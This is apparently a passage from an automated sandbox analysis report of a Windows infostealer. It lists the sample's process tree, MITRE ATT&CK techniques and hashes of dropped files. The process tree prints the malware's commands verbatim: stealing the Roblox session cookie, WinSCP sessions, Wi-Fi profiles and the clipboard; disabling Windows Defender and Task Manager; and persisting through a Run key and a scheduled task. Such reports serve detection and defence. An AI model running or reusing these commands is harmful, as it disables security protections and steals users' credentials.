    PID:10132
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}"
      4⤵
      PID:9220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D44822A8-FC28-42FC-8B1D-21A78579FC79}""
    3⤵
    PID:6744
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D44822A8-FC28-42FC-8B1D-21A78579FC79}"
      4⤵
      PID:5168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E016F2B9-01FE-4FAA-882E-ECC43FA49751}""
    3⤵
    PID:5660
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E016F2B9-01FE-4FAA-882E-ECC43FA49751}"
      4⤵
      PID:9696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\2E3ojhbOIiWg_tezmp.ps1""
    3⤵
    PID:8052
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\2E3ojhbOIiWg_tezmp.ps1"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript C:\Users\Admin\AppData\Roaming\3R5VtPnAn5cx.vbs"
    3⤵
    PID:8788
  - - C:\Windows\system32\cscript.exe
      cscript C:\Users\Admin\AppData\Roaming\3R5VtPnAn5cx.vbs
      4⤵
      PID:11680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "mullvad account get"
    3⤵
    PID:7644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -command "function Get-AntiVirusProduct { [CmdletBinding()] param ( [parameter(ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] [Alias('name')] $computername=$env:computername ) $AntiVirusProducts = Get-WmiObject -Namespace "root\\SecurityCenter2" -Class AntiVirusProduct -ComputerName $computername $ret = @() foreach ($AntiVirusProduct in $AntiVirusProducts) { switch ($AntiVirusProduct.productState) { "262144" { $defstatus = "Up to date"; $rtstatus = "Disabled" } "262160" { $defstatus = "Out of date"; $rtstatus = "Disabled" } "266240" { $defstatus = "Up to date"; $rtstatus = "Enabled" } "266256" { $defstatus = "Out of date"; $rtstatus = "Enabled" } "393216" { $defstatus = "Up to date"; $rtstatus = "Disabled" } "393232" { $defstatus = "Out of date"; $rtstatus = "Disabled" } "393488" { $defstatus = "Out of date"; $rtstatus = "Disabled" } "397312" { $defstatus = "Up to date"; $rtstatus = "Enabled" } "397328" { $defstatus = "Out of date"; $rtstatus = "Enabled" } "397584" { $defstatus = "Out of date"; $rtstatus = "Enabled" } default { $defstatus = "Unknown"; $rtstatus = "Unknown" } } $ht = @{} $ht.Computername = $computername $ht.Name = $AntiVirusProduct.displayName $ht.'Product GUID' = $AntiVirusProduct.instanceGuid $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe $ht.'Definition Status' = $defstatus $ht.'Real-time Protection Status' = $rtstatus # Créez un nouvel objet pour chaque ordinateur $ret += New-Object -TypeName PSObject -Property $ht } Return $ret } Get-AntiVirusProduct ""
    3⤵
    PID:7016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "function Get-AntiVirusProduct {
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:9848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profile"
    3⤵
    PID:7504
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:8804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions""
    3⤵
    PID:6428
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
      4⤵
      PID:10440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:9400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:8224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Failed' $Trigger = New-ScheduledTaskTrigger -Daily -At '12:00PM' Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName StartCacaTask ""
    3⤵
    PID:5816
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:8924
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:5272
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Start_oXMV0C /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_oXMV0C.vbs /f"
    3⤵
    PID:7708
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Start_oXMV0C /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_oXMV0C.vbs /f
      4⤵
      Adds Run key to start application
      PID:8476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_oXMV0C.vbs\"""
    3⤵
    PID:11932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_oXMV0C.vbs\""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6296
    - - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\sysWin10Boot_oXMV0C.vbs
        5⤵
        Views/modifies file attributes
        
        PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "
    3⤵
    PID:4880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:11204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:10824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\salutOW9CS.ps1" -RunAsAdministrator"
    3⤵
    PID:8648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\salutOW9CS.ps1" -RunAsAdministrator
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6924
- - C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
    "C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\megamindnva" --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2892 --field-trial-handle=1748,i,8115900029917250136,11599939239375808381,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:10284

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:8692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\ChromeExtensionsNova\extension-tokens\images\logo.png

Filesize
43KB

MD5
252b4fda07550496d330d819f15ceb3e

SHA1
650584312b310219a26d5fc20cb1804bb6c4dde5

SHA256
39eafade0656a3c0bd723ad576b1f00a0d625ebeef80ac01f965165ffc28cf1d

SHA512
a18529cc7325d3fce5fb5d32a63b74a8e2ff23a027c12fecdc111f14b1c601079512fce3ff5484a686aaa0dd1ea20083570707511541e4a6d7615053f3ffac49

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8d460ce715a00afd56cda62e926b8b17

SHA1
3aa1ed2a3cd5e6e1a3240f222492c9e49c4eaf22

SHA256
195c9d4857b9486e312f80264b31ef7e9ba014ececd7731397ee75ce8d8f38cb

SHA512
1b9efe45bea12e59e552dcce73d597ad431aa274621d96e5a3d146e28cfb11d9f5af256f0bc986e8d4d043f6352b9410d01ddb048bd57445f544502eaf28d969

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cf1b06b44fb8bc1a4f25c85e70937782

SHA1
c4adeae41a97fc11d407c398040dd109873fb2e5

SHA256
04ddc18714503a6c256830af58a731df9d9ad479e87663787e0fa92424c9b743

SHA512
07fcfc741b14ef3551fdc53a08e31020fd9e1d43ab637535a11e318c9f8d48ea37cae3913539838e74299952a868a7824982ad5dc887992686d45050cc1fc7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
36bb833bcefdd2f80a289fc681c87627

SHA1
4204fa10680f0a9c2699a9eb52709db1cd68e0b7

SHA256
52be5401760e6cc30c6018d277e7ce91aa262b3888297f76e95a20fdda8e2ae6

SHA512
233fbb528d3b7196fb967fff74e66dd589b6a302e97774a24fbeb971996aa6c1b17f24f19380873c976978552e245b3dd065cdb9d4133ce554c507d92f8778e1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
f58e3438f147fcc00edf8cd74308cc27

SHA1
f2eef0624e3a5da518538d7d7257a5c03b83654c

SHA256
379f00d1eba06d8462cd1b2e9abe340cd10921bdb5848988b60d545edc02df22

SHA512
4de19b0f3ab2a0809dcc9dc44e2543bc9c8f94af959975b20ddd593f7dbb4b5ac4aa46015e3b138cd2a4e6d1b97c999cbb1da0deae2dc47ca1ba482fdf0bf9d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\2E3ojhbOIiWg_tezmp.ps1

Filesize
728B

MD5
62945206f9afc0e4b3fb303780bd8c94

SHA1
ae76f1e13a45319a04162514885eef58e8890c63

SHA256
317cc7e0e8f89b70f1bef520160fe7a75617d5d1c26152885dcfa7a59980f7d7

SHA512
dd473e0a44a5331a52b8a76d037ad5056396a536c2eeceac5ad0f5cded0b89d881f3bf69d6f4287aa98f66e970f4ec6e60bcf5467678258c71913593508762fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\D3DCompiler_47.dll

Filesize
359KB

MD5
f77aeca13af318f352fb1620e46ed5ff

SHA1
68cb45e7ae73f1356e0f11bc24741f9efcc19fb4

SHA256
908baaaf0e81506f38bbefdcab8cc8ab26e99fed89cf6157dbafd26cebdd8d25

SHA512
d1b42390fae7ee4d150f947434e0e789fc16bed96d9bf40b30d44a079b30038b4afdc50a7bb7d26512325ec8736db5057b8d1358b0e2beb9da61692661d5c7eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
2.8MB

MD5
4c793c9f48f2dce91dc2fc4313b20ea0

SHA1
e9c896853bfe1755f908539cd9bbcf4ff9df544f

SHA256
367e3a838954f456357e40936d91ca004fc4ab169e49590b8d292d456f9d3731

SHA512
f748ff51dd840d46e201d6a779429cefb76e09f887b333fae5f49345b19291364058d7624bc183ca1c7bccbcb30f4d07aa09e4e85551fbd097da19fab12f59ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
713KB

MD5
33a3624945f12da597f5cf640ad1addf

SHA1
09ef655ad4061394db5129cdd96bba1e78f4135d

SHA256
4b4f9ea4f0afeae86e4227678b4e16fe5ef41c2774f0d075f69c5538c9f26cf6

SHA512
7a64c53261bd66f1fc08d27384ff545e5a997698a973ffeb45a5ffd2963871993ba0da8c4f70d902e48a2293ec81cfd392927127d8c2496b890cf11c20198255

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
487KB

MD5
bad48eec04ace492f92084f54650554f

SHA1
f3cdde1a723140625293f50ce4cc403c8a38e95e

SHA256
a8cfeda7a9b725cec2755800b42df528beb6e446b7bf1f8f0407e9b657959375

SHA512
1fe5ccbbfedd21bb0f84e6568f7e88d8ca3b43d92081efefb14e958e627f5bf918c9dd230db9a069d0a0c2252f2e61e940ab0306f50755729183d3a0b4c96d5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
456KB

MD5
6c119eca3f8670e9343baecd18ca0380

SHA1
2fc3d758d7621e97a780ee47bf0230e4ab1efcd1

SHA256
41ff0b7336a35d9124b3605e09212dbff956d395524ea232765fa5590a561ff0

SHA512
aa1808f281be20a3e31f8ce47fadd8e5a63b0d0cc7ee801fbdab269336f930474eae10186681996db19c94a6798e68a7d24579b51fc04fdaeee53c18f26757e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe

Filesize
324KB

MD5
06f9271d5b317dc32e360545b008f410

SHA1
e2111b408967a1876835df9f8eb68aa10e2ad390

SHA256
1c7f3e57e15d81cf3b3bad829933a4bae426d639f801563f24d2d0650fe48ed4

SHA512
c073b4c10477f2b3aa9790a2db7963c9ecd12c795475081ab545408367509ac445bc3924f8bdf4c9247e79d205ce6a02e28290e990c2b6852a7e3d9d3c5368b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\chrome_100_percent.pak

Filesize
132KB

MD5
e4cbb48c438622a4298c7bdd75cc04f6

SHA1
6f756d31ef95fd745ba0e9c22aadb506f3a78471

SHA256
24d92bbeb63d06b01010fe230c1e3a31e667a159be7e570a8efe68f83ed9ad40

SHA512
8d3ea1b5ca74c20a336eaa29630fd76ecd32f5a56bb66e8cef2bce0fa19024ea917562fd31365081f7027dde9c8464742b833d08c8f41fdddc5bd1a74b9bc766

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\d3dcompiler_47.dll

Filesize
334KB

MD5
49b3f451dfdb3bb70abbd0e38e1ba21b

SHA1
438ac5737974f36ed0dd9c4c26e696fbc103d311

SHA256
c70c800c0972911ec68326af80e8e87acff33f91a300958eda4f952b182f9c6e

SHA512
47cfe688094f35cdf869404da02cfbee1d300d278527a074a69afaa641154e50a05151dbc6e56d95c4902e605617a016ebe2c791a31919c321b52409bbe8a7f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
2.3MB

MD5
79a5bf519c3c4d5cbba819b25976734e

SHA1
2595c39efe32d5b69655549990b00f05cb0da95c

SHA256
85c43f0848496727b38295d06552140c7af9c31b1007d827b20ed12be0216a83

SHA512
e90fc80b53ddd842dcc3961b633aaf4a7a946fd140c9bd26d0ae8d27523acc22c32211d4bafa0e3ac94149bf18edbdecd971d7214c32e965a6e4e5709cfe1064

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
919KB

MD5
97729f1ed2e305b8bc6b4247eb042b11

SHA1
c72735f9257112e2f51597cd5918c1a8d41217e8

SHA256
6034ff1cfd5c8027c918ab38dfadd5f0012fece007017af00ab25f8821565457

SHA512
919847f39ec5f06cfde2da4753de0e925654b92e118caa34798360236f876614bafce456c8960dcf15bb133499fda9a1b705b731073c1f6e84d65ce6309bd79d

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
798KB

MD5
f894433b00757afe68dc7706699c8eba

SHA1
ec8963df262c55d4bf06ef1ef80645286ea85033

SHA256
737bad757fb3722ec84f49bcb3c4d1cb2ef22695f8639f718031468ce6cbd1e6

SHA512
6244b6adddd94aaa079de4739bac20f473ee7714d7d20dff880f46e7168847e678f25b7970493a96bf0ecadf5dc442de7c196b74925aa5f85f3dcae33a65113a

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
210KB

MD5
3808a46c4c98edcda9ee55eea051dc44

SHA1
2ab852b1638f4e8a70835b8620ed23b3cdb69ca4

SHA256
23ad011e3b97588633a1d9ec09c733b1fae68b1fa1decd70959e1b7a5559a828

SHA512
b9a61f582595c5be26f0664ca21384297655c027f4ad07804951ea8cd1cd78c6d1b7f60a62db8e07b6a7741ebd4237c874b73b1bc6c802caea8ac07204c2e4d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\ffmpeg.dll

Filesize
246KB

MD5
4d0120e4f4a325bdd450c740df30a0d5

SHA1
2196900b394643276bcf8c6d7737da696dc3e472

SHA256
52f8b0956da2bafffa9da4c886a7c0d07f5928dcabb28a8c4c0af636970ce4be

SHA512
9dfbd54e22271406c137ea3ceffcfdb9834b27f0f70f08d2f1b361b85266491ebe5d3291d79638cf3306ba835f04457e3f430ce20fbbcc1a6f9138f1f7eafdde

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\icudtl.dat

Filesize
862KB

MD5
33e812a6e857b654cc3cad815104e370

SHA1
f5399907e320d35a0e39e72256d646567cc0d2c4

SHA256
836ea4ece7809dc321812a0733621a17aff1b0e582ac19730b8ae5f7790c91c4

SHA512
0e4614c4476ac5c252740b8bc26487ac241cf0c901d01b5b98a13225f01b4e9196fd7add2f04eb9f14514a6ca6c77d550b89c75141cfb434fb3d1fab8ff55970

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\libEGL.dll

Filesize
320KB

MD5
3c1408989a516ff8610d428fde4686de

SHA1
4cf800e377224092c534ee14a6bb72845197f83f

SHA256
6779994345ccd75335377368b55b36f9d00cb715b1a1ceb7862a3f383d28a2a3

SHA512
bf24c3418f3e67ab0e67e3256a0fc56ea535530b07f1034f8702832c00481b6b74e5e6babef63cf6524a587ecc60fab2876a60a546124787c44ad83867a9a8bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\libGLESv2.dll

Filesize
258KB

MD5
e25222b5b122a1f1ba6a818223621a24

SHA1
19f9c2181a6405acf887853fce78e0ed1b7b387b

SHA256
828e23f17d2ae2277c118f54679e122dcbc9ba979d57305a0bf68a41936883ae

SHA512
0cecd3a027d2596e6009adb1182fbdd5f8d4e3c260e56b4af219ba450eaf3170a71ea06bae26bba58f91a738a2c7d17a86d6e729d95ae34ea43ff361c04f8291

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\libegl.dll

Filesize
402KB

MD5
b11af887573a1ca8bca877c5a71a554e

SHA1
1731fb9d8a9b9f7637d0a77edfb7615d5a445fbd

SHA256
8b919ebb6b1bbf6bf51e2aab6f5fe7d1ab1b0625181dcbda21c3481214c7ce18

SHA512
6584a6d054657c56eac0d14ac255996c50302ba72bd5a999a46be8fb265b2af5d716e3b6f7db0101b2357b0a14db2976e7e5b2d7087b447e063ff0b5afa481d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\libglesv2.dll

Filesize
329KB

MD5
689503b4b9771852ad4d00eee0ba58b8

SHA1
e33637d780a330ef39658083e9ffa9a3a13ae6b0

SHA256
74eecdb10a888affef4625a450a994b26d267cbf78f42b77c319d1421fca62cb

SHA512
d410fc336883af56ddd1f12bf06399f685ce6aa491b5b2bdee3822fd8463aec5aa91cc658ea4099d03ffb4807457434b6bd3f74d0c5df579af5fd7e51bdcfadb

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\locales\en-US.pak

Filesize
391KB

MD5
c9c2abcb04e1ad5f1a20244da8d595a8

SHA1
89ca81da21900074a5ccdcdc852768277b2b620b

SHA256
0364c73f320e441b03cb2afcaaca3ffbfac51a3559dcd0ff99a1accf82c7f762

SHA512
96bbf21174f56a111a2fc6ec024ab2f143945306797e77d773367a7fad42b7828ebb7b08d0dab76858d9fa340bf3205be403bc53df9e5e4e390058c94a751ffd

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\resources.pak

Filesize
520KB

MD5
5452283076e2e2ebbba91f911ea2e1e3

SHA1
923e905a44a3d85d18831dbf5f2b652a25ce99db

SHA256
5507d24c70e3b2a86cec7469d27b6d0cb98d954ce08331a875ebaf405787cd96

SHA512
14c444563d1c07cc62ec03356cf4f6cac5ce041a0fc27a7e30996ebbddaae2dd332791f92f6d50ea65664c644b238523dcfe127891ceb96a6d68ab57061d13a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\resources\app.asar

Filesize
720KB

MD5
2dc091aa4c55f045e79c8b77d59bed7b

SHA1
4e65a4cc19ff48de3439240a1405dd8d52dc653e

SHA256
